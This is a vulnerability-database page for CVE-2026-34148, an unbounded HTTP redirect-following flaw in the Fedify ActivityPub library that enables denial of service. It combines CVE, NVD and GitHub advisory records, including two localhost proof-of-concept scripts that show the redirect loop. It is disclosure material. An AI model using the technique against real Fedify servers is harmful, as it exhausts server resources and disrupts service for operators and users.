Vulnerability-Lookup

CVE-2026-34148 (GCVE-0-2026-34148)

Vulnerability from cvelistv5 – Published: 2026-04-06 15:06 – Updated: 2026-04-07 14:25

Title

Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

Summary

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-06 15:35 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7886 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/fedify-dev/fedify/security/adv…	x_refsource_CONFIRM
https://github.com/fedify-dev/fedify/releases/tag…	x_refsource_MISC
https://github.com/fedify-dev/fedify/releases/tag/1.9.6	x_refsource_MISC
https://github.com/fedify-dev/fedify/releases/tag/2.0.8	x_refsource_MISC
https://github.com/fedify-dev/fedify/releases/tag/2.1.1	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
@fedify	fedify	Affected: < 1.9.6 Affected: >= 1.10.0, < 1.10.5 Affected: >= 2.0.0, < 2.0.8 Affected: >= 2.1.0, < 2.1.1	guessed
@fedify	vocab-runtime	Affected: < 2.0.8 Affected: >= 2.1.0, < 2.1.1	guessed

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        "datePublished": "2026-04-06T15:06:53.197Z",
        "dateReserved": "2026-03-25T20:12:04.195Z",
        "dateUpdated": "2026-04-07T14:25:51.368Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-34148

Vulnerability from fkie_nvd - Published: 2026-04-06 16:16 - Updated: 2026-10-26 22:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/fedify-dev/fedify/releases/tag/1.10.5	Release Notes
security-advisories@github.com	https://github.com/fedify-dev/fedify/releases/tag/1.9.6	Release Notes
security-advisories@github.com	https://github.com/fedify-dev/fedify/releases/tag/2.0.8	Release Notes
security-advisories@github.com	https://github.com/fedify-dev/fedify/releases/tag/2.1.1	Release Notes
security-advisories@github.com	https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp	Exploit, Vendor Advisory

Impacted products

Vendor	Product	Version
fedify	fedify\/fedify	*
fedify	fedify\/fedify	*
fedify	fedify\/fedify	*
fedify	fedify\/fedify	*
fedify	fedify\/vocab-runtime	*
fedify	fedify\/vocab-runtime	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "fedify",
          "vendor": "@fedify",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.10.0, \u003c 1.10.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.0.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.1.0, \u003c 2.1.1"
            }
          ]
        },
        {
          "product": "vocab-runtime",
          "vendor": "@fedify",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.1.0, \u003c 2.1.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "ECF8706E-2E6C-4A6A-8F8C-DE9933F39224",
              "versionEndExcluding": "1.9.6",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "BF4917D5-C6AA-45E3-B5F6-B3DCEF460212",
              "versionEndExcluding": "1.10.5",
              "versionStartIncluding": "1.10.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "DD7D6EB1-0E97-43AE-9412-FA558F8FFA6B",
              "versionEndExcluding": "2.0.8",
              "versionStartIncluding": "2.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "0613E25B-2982-4E31-A7FB-5FF0F10FA724",
              "versionEndExcluding": "2.1.1",
              "versionStartIncluding": "2.1.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "C298320F-CF10-4C9F-B8B5-F96ACDBFA963",
              "versionEndExcluding": "2.0.8",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "B6CC76BF-8504-4630-832A-F5EA09191546",
              "versionEndExcluding": "2.1.1",
              "versionStartIncluding": "2.1.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1."
    },
    {
      "lang": "es",
      "value": "Fedify es una biblioteca TypeScript para construir aplicaciones de servidor federadas impulsadas por ActivityPub. Antes de 1.9.6, 1.10.5, 2.0.8 y 2.1.1, @fedify/fedify sigue las redirecciones HTTP recursivamente en su cargador de documentos remoto y cargador de documentos autenticado sin aplicar un recuento m\u00e1ximo de redirecciones o detecci\u00f3n de bucles de URL visitadas. Un atacante que controla una clave ActivityPub remota o una URL de actor puede forzar a un servidor que usa Fedify a realizar repetidas solicitudes salientes a partir de una \u00fanica solicitud entrante, lo que lleva al consumo de recursos y a la denegaci\u00f3n de servicio. Esta vulnerabilidad est\u00e1 corregida en 1.9.6, 1.10.5, 2.0.8 y 2.1.1."
    }
  ],
  "id": "CVE-2026-34148",
  "lastModified": "2026-10-26T22:10:00.163",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-34148",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-06T15:35:17.193226Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-06T16:16:34.387",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.10.5"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.6"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/fedify-dev/fedify/releases/tag/2.0.8"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/fedify-dev/fedify/releases/tag/2.1.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GM9M-GWC4-HWGP

Vulnerability from github – Published: 2026-04-07 18:04 – Updated: 2026-06-09 11:00

Summary

Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

Details

Summary

@fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.

Details

Fedify verifies ActivityPub HTTP signatures by fetching the remote keyId during request processing. The relevant flow is handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader.

In affected versions: - the generic document loader recursively follows 3xx responses by calling load() again on the Location header - the authenticated redirect path (doubleKnock()) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops

As a result, if an attacker-controlled keyId or actor URL responds with 302 Location: <same URL>, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.

I confirmed the issue in @fedify/fedify 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.

Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same keyId.

PoC

Minimal direct reproduction with the package:

Install @fedify/fedify@1.9.2.
Save and run the following script:

import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";

const port = 45679;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const loader = getDocumentLoader({ allowPrivateAddress: true });
  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}

Observe output similar to:

{ count: 120 }

This shows the loader followed 119 self-redirects before the first non-redirect response.

The authenticated loader used for signed requests shows the same behavior:

import http from "node:http";
import {
  generateCryptoKeyPair,
  getAuthenticatedDocumentLoader,
} from "@fedify/fedify";

const port = 45680;
let count = 0;
const redirectCount = 120;

const server = http.createServer((req, res) => {
  count += 1;

  if (count < redirectCount) {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${port}/actor`,
    });
    res.end();
    return;
  }

  res.writeHead(200, { "Content-Type": "application/activity+json" });
  res.end(JSON.stringify({
    "@context": "https://www.w3.org/ns/activitystreams",
    "id": `http://127.0.0.1:${port}/actor`,
    "type": "Person"
  }));
});

await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));

try {
  const { privateKey } = await generateCryptoKeyPair();
  const loader = getAuthenticatedDocumentLoader(
    {
      privateKey,
      keyId: new URL("https://example.com/users/index#main-key"),
    },
    { allowPrivateAddress: true },
  );

  await loader(`http://127.0.0.1:${port}/actor`);
  console.log({ count });
} finally {
  server.close();
}

Impact

This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.

Misc Notes

This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/vocab-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/vocab-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.1.0"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:04:09Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -\u003e `verifyRequest()` -\u003e `fetchKeyInternal()` -\u003e document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: \u003csame URL\u003e`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify\u0027s WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) =\u003e {\n  count += 1;\n\n  if (count \u003c redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.",
  "id": "GHSA-gm9m-gwc4-hwgp",
  "modified": "2026-06-09T11:00:52Z",
  "published": "2026-04-07T18:04:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34148"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fedify-dev/fedify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.10.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/2.0.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/2.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-34148 (GCVE-0-2026-34148)

FKIE_CVE-2026-34148

GHSA-GM9M-GWC4-HWGP

Summary

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PoC

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Vulnerability timeline

Related by attack behaviour